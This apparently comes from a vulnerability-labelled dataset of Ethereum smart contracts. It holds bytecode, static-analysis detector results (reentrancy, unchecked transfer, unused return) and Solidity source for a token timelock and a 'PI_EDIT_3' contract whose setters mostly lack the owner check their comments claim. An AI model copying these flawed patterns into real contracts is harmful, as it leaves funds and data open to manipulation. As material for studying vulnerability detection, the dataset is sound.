0180604052508101906107e99190611598565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083157600080fd5b505af1158015610845573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108699190611598565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610899816104c6565b6000806108ae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091157600080fd5b505af1158015610925573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094a9190611761565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c557600080fd5b505af11580156109d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fb9190611744565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610427565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610427565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610427565b6001600160a01b038216610be75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610427565b60008111610c495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610427565b600f546001600160a01b0384811691161415610c6e576006600a556001600b55610c79565b6006600a908155600b555b6000546001600160a01b03848116911614801590610ca557506000546001600160a01b03838116911614155b15610e24576001600160a01b03831660009081526006602052604090205460ff16158015610cec57506001600160a01b03821660009081526006602052604090205460ff16155b610cf557600080fd5b600f546001600160a01b038481169116148015610d205750600e546001600160a01b03838116911614155b8015610d4557506001600160a01b03821660009081526005602052604090205460ff16155b8015610d5a5750600f54600160b81b900460ff165b15610db757601054811115610d6e57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d9257600080fd5b610d9d42601e61188a565b6001600160a01b0383166000908152600760205260409020555b6000610dc2306104c6565b600f54909150600160a81b900460ff16158015610ded5750600f546001600160a01b03858116911614155b8015610e025750600f54600160b01b900460ff165b15610e2257610e1081610f77565b478015610e2057610e2047610e6e565b505b505b610e2f838383611100565b505050565b60008184841115610e585760405162461bcd60e51b8152600401610427919061178f565b506000610e6584866118e3565b95945050505050565b600c546001600160a01b03166108fc610e8883600261110b565b6040518115909202916000818181858888f19350505050158015610eb0573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecb83600261110b565b6040518115909202916000818181858888f193505050501580156105fb573d6000803e3d6000fd5b6000600854821115610f5a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610427565b6000610f6461114d565b9050610f70838261110b565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fbf57610fbf61192b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101357600080fd5b505afa158015611027573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104b9190611598565b8160018151811061105e5761105e61192b565b6001600160a01b039283166020918202929092010152600e5461108491309116846109fd565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bd908590600090869030904290600401611819565b600060405180830381600087803b1580156110d757600080fd5b505af11580156110eb573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e2f838383611170565b6000610f7083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611267565b600080600061115a611295565b9092509050611169828261110b565b9250505090565b600080600080600080611182876112db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b49087611338565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e3908661137a565b6001600160a01b038916600090815260026020526040902055611205816113d9565b61120f8483611423565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125491815260200190565b60405180910390a3505050505050505050565b600081836112885760405162461bcd60e51b8152600401610427919061178f565b506000610e6584866118a2565b60085460009081906a52b7d2dcc80cd2e40000006112b3828261110b565b8210156112d2575050600854926a52b7d2dcc80cd2e400000092509050565b90939092509050565b60008060008060008060008060006112f88a600a54600b54611447565b925092509250600061130861114d565b9050600080600061131b8e87878761149c565b919e509c509a509598509396509194505050505091939550919395565b6000610f7083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e34565b600080611387838561188a565b905083811015610f705760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610427565b60006113e361114d565b905060006113f183836114ec565b3060009081526002602052604090205490915061140e908261137a565b30600090815260026020526040902055505050565b6008546114309083611338565b600855600954611440908261137a565b6009555050565b6000808080611461606461145b89896114ec565b9061110b565b90506000611474606461145b8a896114ec565b9050600061148c826114868b86611338565b90611338565b9992985090965090945050505050565b60008080806114ab88866114ec565b905060006114b988876114ec565b905060006114c788886114ec565b905060006114d9826114868686611338565b939b939a50919850919650505050505050565b6000826114fb5750600061038e565b600061150783856118c4565b90508261151485836118a2565b14610f705760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610427565b803561157681611957565b919050565b60006020828403121561158d57600080fd5b8135610f7081611957565b6000602082840312156115aa57600080fd5b8151610f7081611957565b600080604083850312156115c857600080fd5b82356115d381611957565b915060208301356115e381611957565b809150509250929050565b60008060006060848603121561160357600080fd5b833561160e81611957565b9250602084013561161e81611957565b929592945050506040919091013590565b6000806040838503121561164257600080fd5b823561164d81611957565b946020939093013593505050565b6000602080838503121561166e57600080fd5b823567ffffffffffffffff8082111561168657600080fd5b818501915085601f83011261169a57600080fd5b8135818111156116ac576116ac611941565b8060051b604051601f19603f830116810181811085821117156116d1576116d1611941565b604052828152858101935084860182860187018a10156116f057600080fd5b600095505b8386101561171a576117068161156b565b8552600195909501949386019386016116f5565b5098975050505050505050565b60006020828403121561173957600080fd5b8135610f708161196c565b60006020828403121561175657600080fd5b8151610f708161196c565b60008060006060848603121561177657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117bc578581018301518582016040015282016117a0565b818111156117ce576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118695784516001600160a01b031683529383019391830191600101611844565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561189d5761189d611915565b500190565b6000826118bf57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118de576118de611915565b500290565b6000828210156118f5576118f5611915565b500390565b600060001982141561190e5761190e611915565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c357600080fd5b80151581146104c357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4e52b66de234c3a6007ff25df9d189c79cfc8be55fd844e965fdacd83d2ee5564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,294
0x82c7def7273f8bc8e9bb6d3ec755fcff5eed4243
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: src/Timelock.sol contract TeamLocker { using SafeMath for uint256; IERC20 private _token; address private _beneficiary; uint256 private _releasedEpoch; uint256 private _totalEpoch; uint256 private _startTime; uint256 private _interval; constructor() public { _token = IERC20(address(0x95DA1E3eECaE3771ACb05C145A131Dca45C67FD4)); _beneficiary = address(0x6cE01FcA65016dC515Ee40bCf2B107b62AFE2412); _startTime = 1599004800; _interval = 31536000; _totalEpoch = 3; } function token() public view returns (IERC20) { return _token; } function beneficiary() public view returns (address) { return _beneficiary; } function releasedEpoch() public view returns (uint256) { return _releasedEpoch; } function totalEpoch() public view returns (uint256) { return _totalEpoch; } function startTime() public view returns (uint256) { return _startTime; } function interval() public view returns (uint256) { return _interval; } function currentEpoch() public view returns (uint256) { return now.sub(_startTime).div(_interval); } function canReleaseAmount(uint256 epoch) public view returns (uint256) { if (epoch <= _releasedEpoch) { return 0; } uint256 remainingAmount = _token.balanceOf(address(this)); if (epoch > _totalEpoch) { return remainingAmount; } uint256 notReleasedEpoch = _totalEpoch.sub(_releasedEpoch); uint256 needReleasedEpoch = epoch.sub(_releasedEpoch); return remainingAmount.mul(needReleasedEpoch).div(notReleasedEpoch); } function release() external returns (uint256) { uint256 epoch = currentEpoch(); uint256 releaseAmount = canReleaseAmount(epoch); if (releaseAmount > 0) { _token.transfer(_beneficiary, releaseAmount); _releasedEpoch = epoch; } return releaseAmount; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c806386d1a69f1161006657806386d1a69f146100fb578063947a36fb14610103578063aa2e3c8d1461010b578063e553255814610113578063fc0c546a1461011b57610093565b80632adbfdc51461009857806338af3eed146100c757806376671808146100eb57806378e97925146100f3575b600080fd5b6100b5600480360360208110156100ae57600080fd5b5035610123565b60408051918252519081900360200190f35b6100cf610215565b604080516001600160a01b039092168252519081900360200190f35b6100b5610224565b6100b5610246565b6100b561024c565b6100b5610300565b6100b5610306565b6100b561030c565b6100cf610312565b6000600254821161013657506000610210565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561018257600080fd5b505afa158015610196573d6000803e3d6000fd5b505050506040513d60208110156101ac57600080fd5b50516003549091508311156101c2579050610210565b60006101db60025460035461032190919063ffffffff16565b905060006101f46002548661032190919063ffffffff16565b905061020a82610204858461036c565b906103c5565b93505050505b919050565b6001546001600160a01b031690565b60006102416005546102046004544261032190919063ffffffff16565b905090565b60045490565b600080610257610224565b9050600061026482610123565b905080156102fa57600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156102c857600080fd5b505af11580156102dc573d6000803e3d6000fd5b505050506040513d60208110156102f257600080fd5b505060028290555b91505090565b60055490565b60025490565b60035490565b6000546001600160a01b031690565b600061036383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610407565b90505b92915050565b60008261037b57506000610366565b8282028284828161038857fe5b04146103635760405162461bcd60e51b81526004018080602001828103825260218152602001806105046021913960400191505060405180910390fd5b600061036383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061049e565b600081848411156104965760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561045b578181015183820152602001610443565b50505050905090810190601f1680156104885780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836104ed5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561045b578181015183820152602001610443565b5060008385816104f957fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212208aba9acb8633b46bfb73b83b014d26b6ad55b17ada12bdeaad7a161a4121386164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,295
0xb6ae9cdc0ae882e98a7eefb6cd86d0500fd6ddc5
pragma solidity ^0.4.8 ; contract PI_EDIT_3 { address owner ; function PI_EDIT_3 () public { owner = msg.sender; } modifier onlyOwner () { require(msg.sender == owner ); _; } // 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_1 = " une première phrase " ; function setPI_edit_1 ( string newPI_edit_1 ) public { inPI_edit_1 = newPI_edit_1 ; } function getPI_edit_1 () public constant returns ( string ) { return inPI_edit_1 ; } // 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_2 = " une première phrase " ; function setPI_edit_2 ( string newPI_edit_2 ) public { inPI_edit_2 = newPI_edit_2 ; } function getPI_edit_2 () public constant returns ( string ) { return inPI_edit_2 ; } // 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_3 = " une première phrase " ; function setPI_edit_3 ( string newPI_edit_3 ) public { inPI_edit_3 = newPI_edit_3 ; } function getPI_edit_3 () public constant returns ( string ) { return inPI_edit_3 ; } // 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_4 = " une première phrase " ; function setPI_edit_4 ( string newPI_edit_4 ) public { inPI_edit_4 = newPI_edit_4 ; } function getPI_edit_4 () public constant returns ( string ) { return inPI_edit_4 ; } // 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_5 = " une première phrase " ; function setPI_edit_5 ( string newPI_edit_5 ) public { inPI_edit_5 = newPI_edit_5 ; } function getPI_edit_5 () public constant returns ( string ) { return inPI_edit_5 ; } // 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_6 = " une première phrase " ; function setPI_edit_6 ( string newPI_edit_6 ) public { inPI_edit_6 = newPI_edit_6 ; } function getPI_edit_6 () public constant returns ( string ) { return inPI_edit_6 ; } // 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_7 = " une première phrase " ; function setPI_edit_7 ( string newPI_edit_7 ) public { inPI_edit_7 = newPI_edit_7 ; } function getPI_edit_7 () public constant returns ( string ) { return inPI_edit_7 ; } // 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_8 = " une première phrase " ; function setPI_edit_8 ( string newPI_edit_8 ) public { inPI_edit_8 = newPI_edit_8 ; } function getPI_edit_8 () public constant returns ( string ) { return inPI_edit_8 ; } // 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_9 = " une première phrase " ; function setPI_edit_9 ( string newPI_edit_9 ) public { inPI_edit_9 = newPI_edit_9 ; } function getPI_edit_9 () public constant returns ( string ) { return inPI_edit_9 ; } // 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_10 = " une première phrase " ; function setPI_edit_10 ( string newPI_edit_10 ) public { inPI_edit_10 = newPI_edit_10 ; } function getPI_edit_10 () public constant returns ( string ) { return inPI_edit_10 ; } // 11 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_11 = " une première phrase " ; function setPI_edit_11 ( string newPI_edit_11 ) public { inPI_edit_11 = newPI_edit_11 ; } function getPI_edit_11 () public constant returns ( string ) { return inPI_edit_11 ; } // 12 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_12 = " une première phrase " ; function setPI_edit_12 ( string newPI_edit_12 ) public { inPI_edit_12 = newPI_edit_12 ; } function getPI_edit_12 () public constant returns ( string ) { return inPI_edit_12 ; } // 13 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_13 = " une première phrase " ; function setPI_edit_13 ( string newPI_edit_13 ) public { inPI_edit_13 = newPI_edit_13 ; } function getPI_edit_13 () public constant returns ( string ) { return inPI_edit_13 ; } // 14 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_14 = " une première phrase " ; function setPI_edit_14 ( string newPI_edit_14 ) public { inPI_edit_14 = newPI_edit_14 ; } function getPI_edit_14 () public constant returns ( string ) { return inPI_edit_14 ; } // 15 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_15 = " une première phrase " ; function setPI_edit_15 ( string newPI_edit_15 ) public { inPI_edit_15 = newPI_edit_15 ; } function getPI_edit_15 () public constant returns ( string ) { return inPI_edit_15 ; } // 16 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_16 = " une première phrase " ; function setPI_edit_16 ( string newPI_edit_16 ) public { inPI_edit_16 = newPI_edit_16 ; } function getPI_edit_16 () public constant returns ( string ) { return inPI_edit_16 ; } // 17 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_17 = " une première phrase " ; function setPI_edit_17 ( string newPI_edit_17 ) public { inPI_edit_17 = newPI_edit_17 ; } function getPI_edit_17 () public constant returns ( string ) { return inPI_edit_17 ; } // 18 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_18 = " une première phrase " ; function setPI_edit_18 ( string newPI_edit_18 ) public { inPI_edit_18 = newPI_edit_18 ; } function getPI_edit_18 () public constant returns ( string ) { return inPI_edit_18 ; } // 19 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_19 = " une première phrase " ; function setPI_edit_19 ( string newPI_edit_19 ) public { inPI_edit_19 = newPI_edit_19 ; } function getPI_edit_19 () public constant returns ( string ) { return inPI_edit_19 ; } // 20 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_20 = " une première phrase " ; function setPI_edit_20 ( string newPI_edit_20 ) public { inPI_edit_20 = newPI_edit_20 ; } function getPI_edit_20 () public constant returns ( string ) { return inPI_edit_20 ; } // 21 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_21 = " une première phrase " ; function setPI_edit_21 ( string newPI_edit_21 ) public { inPI_edit_21 = newPI_edit_21 ; } function getPI_edit_21 () public constant returns ( string ) { return inPI_edit_21 ; } // 22 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_22 = " une première phrase " ; function setPI_edit_22 ( string newPI_edit_22 ) public { inPI_edit_22 = newPI_edit_22 ; } function getPI_edit_22 () public constant returns ( string ) { return inPI_edit_22 ; } // 23 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_23 = " une première phrase " ; function setPI_edit_23 ( string newPI_edit_23 ) public { inPI_edit_23 = newPI_edit_23 ; } function getPI_edit_23 () public constant returns ( string ) { return inPI_edit_23 ; } // 24 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_24 = " une première phrase " ; function setPI_edit_24 ( string newPI_edit_24 ) public { inPI_edit_24 = newPI_edit_24 ; } function getPI_edit_24 () public constant returns ( string ) { return inPI_edit_24 ; } // 25 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_25 = " une première phrase " ; function setPI_edit_25 ( string newPI_edit_25 ) public { inPI_edit_25 = newPI_edit_25 ; } function getPI_edit_25 () public constant returns ( string ) { return inPI_edit_25 ; } // 26 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_26 = " une première phrase " ; function setPI_edit_26 ( string newPI_edit_26 ) public onlyOwner { inPI_edit_26 = newPI_edit_26 ; } function getPI_edit_26 () public constant returns ( string ) { return inPI_edit_26 ; } // 27 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_27 = " une première phrase " ; function setPI_edit_27 ( string newPI_edit_27 ) public { inPI_edit_27 = newPI_edit_27 ; } function getPI_edit_27 () public constant returns ( string ) { return inPI_edit_27 ; } // 28 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_28 = " une première phrase " ; function setPI_edit_28 ( string newPI_edit_28 ) public { inPI_edit_28 = newPI_edit_28 ; } function getPI_edit_28 () public constant returns ( string ) { return inPI_edit_28 ; } // 29 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_29 = " une première phrase " ; function setPI_edit_29 ( string newPI_edit_29 ) public { inPI_edit_29 = newPI_edit_29 ; } function getPI_edit_29 () public constant returns ( string ) { return inPI_edit_29 ; } // 30 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_30 = " une première phrase " ; function setPI_edit_30 ( string newPI_edit_30 ) public { inPI_edit_30 = newPI_edit_30 ; } function getPI_edit_30 () public constant returns ( string ) { return inPI_edit_30 ; } // 31 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_31 = " une première phrase " ; function setPI_edit_31 ( string newPI_edit_31 ) public { inPI_edit_31 = newPI_edit_31 ; } function getPI_edit_31 () public constant returns ( string ) { return inPI_edit_31 ; } // 32 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_32 = " une première phrase " ; function setPI_edit_32 ( string newPI_edit_32 ) public { inPI_edit_32 = newPI_edit_32 ; } function getPI_edit_32 () public constant returns ( string ) { return inPI_edit_32 ; } // 33 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_33 = " une première phrase " ; function setPI_edit_33 ( string newPI_edit_33 ) public { inPI_edit_33 = newPI_edit_33 ; } function getPI_edit_33 () public constant returns ( string ) { return inPI_edit_33 ; } // 34 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT string inPI_edit_34 = " une première phrase " ; function setPI_edit_34 ( string newPI_edit_34 ) public { inPI_edit_34 = newPI_edit_34 ; } function getPI_edit_34 () public constant returns ( string ) { return inPI_edit_34 ; } }
0x606060405260043610610321576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680621667bb14610326578063014a7453146103b45780630352053514610442578063036a131d146104d0578063096995811461052d5780630a107ac31461058a5780630c1db532146105e75780630d3fbdf814610675578063106812c9146107035780631397d7ae14610760578063184e8549146107bd5780631903c10e1461084b5780631a05ba8d146108a85780631e44e6af146109055780631e6f01a71461096257806328b5dde8146109bf578063290842a114610a1c578063298d5f3314610a7957806329e6f3f814610b075780632d8f098114610b645780632e27c10a14610bc157806332d3b71114610c1e578063334d86bf14610cac5780633640599c14610d3a57806339b8e63c14610dc85780633b8a3d5e14610e565780633dced19314610eb357806342e5d5c814610f415780634545864314610fcf5780634588c1ef1461102c57806348807db114611089578063498e87a91461111757806349bff0d714611174578063524e2444146111d15780635ef7b3031461122e578063653d1ca4146112bc57806367d6d1421461134a5780636914f40f146113d8578063703dbd8114611466578063761e64c4146114c35780637713ba04146115205780637aa2096a1461157d5780637f294b10146115da57806387586b321461163757806390a971a8146116c5578063a0e5bb6914611722578063a9c0838d1461177f578063aac74c921461180d578063abc217021461189b578063b29a3cfd14611929578063b8b8fc3a146119b7578063b9eb551114611a45578063bb3e5b0a14611aa2578063c097d62914611aff578063c708ed9c14611b5c578063c70ef90814611bea578063c726c2b914611c47578063c9a75d9014611cd5578063cb6b869914611d32578063d82ce85714611dc0578063da2424ae14611e4e578063da35762a14611eab578063f356d6cc14611f39578063f8e0cc1c14611fc7578063fc96166414612055578063fcde2ff6146120b2578063fe9d282814612140578063ff27cbda146121ce575b600080fd5b341561033157600080fd5b61033961225c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561037957808201518184015260208101905061035e565b50505050905090810190601f1680156103a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103bf57600080fd5b6103c7612304565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044d57600080fd5b6104556123ac565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049557808201518184015260208101905061047a